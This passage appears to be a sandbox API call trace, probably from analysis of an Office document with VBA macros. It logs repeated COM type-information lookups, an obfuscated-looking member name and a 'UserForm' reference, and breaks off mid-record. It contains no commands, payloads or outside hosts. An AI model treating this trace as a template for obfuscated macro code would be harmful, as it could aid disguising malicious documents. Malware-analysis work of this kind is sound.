| out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.217] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.217] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x18, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.217] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.217] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x19, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.217] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.217] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x1a, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.217] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.218] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x1b, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.218] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.218] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x1c, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.218] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.218] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x1d, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.218] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.218] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x1e, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.218] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.218] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x1f, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.218] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.218] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x20, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.218] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.218] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x21, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.218] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.218] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x22, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.218] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.218] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x23, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.218] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.218] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x24, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.218] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.218] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x25, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.218] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.218] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x26, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.218] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.218] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x27, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.218] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.218] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x28, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.218] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.218] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x29, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.218] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.218] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x2a, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.218] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.218] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x2b, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.218] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.218] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x2c, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.218] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.219] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x2d, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.219] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.219] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x2e, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.219] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.219] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x2f, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.219] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.219] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x30, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.219] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.219] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x31, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.219] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.219] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x32, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.219] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.219] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x33, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.219] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.219] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x34, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.219] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.219] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x35, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.219] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.219] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x36, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.219] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.219] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x37, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.219] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.219] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x38, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.219] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.219] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x39, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.219] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.219] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x3a, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.219] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.219] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x3b, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.219] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.219] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x3c, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.219] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.219] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x3d, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.219] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.219] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x3e, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.219] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.219] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x3f, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.220] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.220] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x40, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.220] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.220] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x41, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.220] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.220] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x42, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.220] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.220] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x43, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.220] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.220] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x44, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.220] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.220] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x45, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.220] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.220] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x46, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.220] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.220] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x47, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.220] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.220] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x48, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.220] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.220] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x49, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.220] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.220] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x4a, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.220] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.220] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x4b, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.220] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.220] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x4c, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.220] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.220] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x4d, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.220] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.220] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x4e, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.220] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.220] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x4f, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.220] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.220] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x50, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.220] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.220] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x51, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.221] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.221] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x52, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.221] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.221] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x53, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.221] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.221] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x54, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.221] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.221] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x55, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.221] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.221] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x56, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.221] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.221] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x57, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.221] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.221] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x58, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.221] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.221] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x59, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.221] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.221] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x5a, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.221] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.221] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x5b, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.221] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.221] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x5c, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.221] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.221] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x5d, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.221] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.221] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x5e, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.221] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.221] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x5f, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.221] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.221] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x60, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.221] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.221] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x61, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.221] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.222] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x62, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.222] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.222] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x63, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.222] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.222] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x64, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.222] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.222] ITypeInfo:RemoteGetDocumentation (in: This=0x2763c01e338, memid=2005, refPtrFlags=0x690f4638, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x400 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x400) returned 0x0 [0120.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GHJHGFGHKFTKDFTYFTFYDDYDFLRYTYDDYDFYKLDKTY", cchWideChar=43, lpMultiByteStr=0xb5690f44f0, cbMultiByte=86, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GHJHGFGHKFTKDFTYFTFYDDYDFLRYTYDDYDFYKLDKTY", lpUsedDefaultChar=0x0) returned 43 [0120.222] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="GHJHGFGHKFTKDFTYFTFYDDYDFLRYTYDDYDFYKLDKTY") returned 0x40d07d [0120.222] ITypeInfo:GetRefTypeInfo (in: This=0x2763c01e338, hreftype=0x5000025, ppTInfo=0xb5690f4610 | out: ppTInfo=0xb5690f4610*=0x2764b8e9658) returned 0x0 [0120.222] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764b8e9658, ppTypeAttr=0xb5690f4570, pDummy=0x242 | out: ppTypeAttr=0xb5690f4570, pDummy=0x242) returned 0x0 [0120.222] ITypeInfo:LocalReleaseTypeAttr (This=0x2764b8e9658) returned 0x0 [0120.222] ITypeInfo:GetImplTypeFlags (in: This=0x2764b8e9658, index=0x0, pImplTypeFlags=0xb5690f4558 | out: pImplTypeFlags=0xb5690f4558*=1) returned 0x0 [0120.222] ITypeInfo:GetRefTypeOfImplType (in: This=0x2764b8e9658, index=0x0, pRefType=0xb5690f4560 | out: pRefType=0xb5690f4560*=0x2080) returned 0x0 [0120.222] ITypeInfo:GetRefTypeInfo (in: This=0x2764b8e9658, hreftype=0x2080, ppTInfo=0xb5690f4568 | out: ppTInfo=0xb5690f4568*=0x2764b8e96b0) returned 0x0 [0120.222] IUnknown:Release (This=0x2764b8e96b0) returned 0x0 [0120.222] ITypeInfo:GetImplTypeFlags (in: This=0x2764b8e9658, index=0x1, pImplTypeFlags=0xb5690f4558 | out: pImplTypeFlags=0xb5690f4558*=3) returned 0x0 [0120.222] ITypeInfo:GetRefTypeOfImplType (in: This=0x2764b8e9658, index=0x1, pRefType=0xb5690f4560 | out: pRefType=0xb5690f4560*=0x2800) returned 0x0 [0120.222] ITypeInfo:GetRefTypeInfo (in: This=0x2764b8e9658, hreftype=0x2800, ppTInfo=0xb5690f4568 | out: ppTInfo=0xb5690f4568*=0x2764b8e9810) returned 0x0 [0120.222] IUnknown:QueryInterface (in: This=0x2764b8e9810, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4490 | out: ppvObject=0xb5690f4490*=0x0) returned 0x80004002 [0120.222] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764b8e9810, ppTypeAttr=0xb5690f44b8, pDummy=0xb5690f4490 | out: ppTypeAttr=0xb5690f44b8, pDummy=0xb5690f4490*=0x0) returned 0x0 [0120.222] ITypeInfo:LocalReleaseTypeAttr (This=0x2764b8e9810) returned 0x0 [0120.222] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764bb0a630, cb=0x62) returned 0x2764ba25180 [0120.223] IUnknown:AddRef (This=0x2764b8e9810) returned 0x2 [0120.223] IUnknown:Release (This=0x2764b8e9810) returned 0x1 [0120.223] IUnknown:Release (This=0x2764b8e9658) returned 0x1 [0120.223] IUnknown:QueryInterface (in: This=0x2763c01f2f8, riid=0x7ff9be1ca878*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xb5690f4618 | out: ppvObject=0xb5690f4618*=0x2763c01f2f8) returned 0x0 [0120.223] ITypeInfo2:GetCustData (in: This=0x2763c01f2f8, GUID=0x7ff9be1d5de0*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0xb5690f4628 | out: pVarVal=0xb5690f4628*(varType=0x0, wReserved1=0x0, wReserved2=0x64, wReserved3=0x0, varVal1=0x24200000000, varVal2=0x2764bb20648)) returned 0x0 [0120.223] IUnknown:Release (This=0x2763c01f2f8) returned 0x3 [0120.223] ITypeInfo:RemoteGetDocumentation (in: This=0x2763c01f2f8, memid=-1, refPtrFlags=0x690f4620, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x5000025 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x5000025) returned 0x0 [0120.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="UserForm", cchWideChar=9, lpMultiByteStr=0xb5690f4530, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UserForm", lpUsedDefaultChar=0x0) 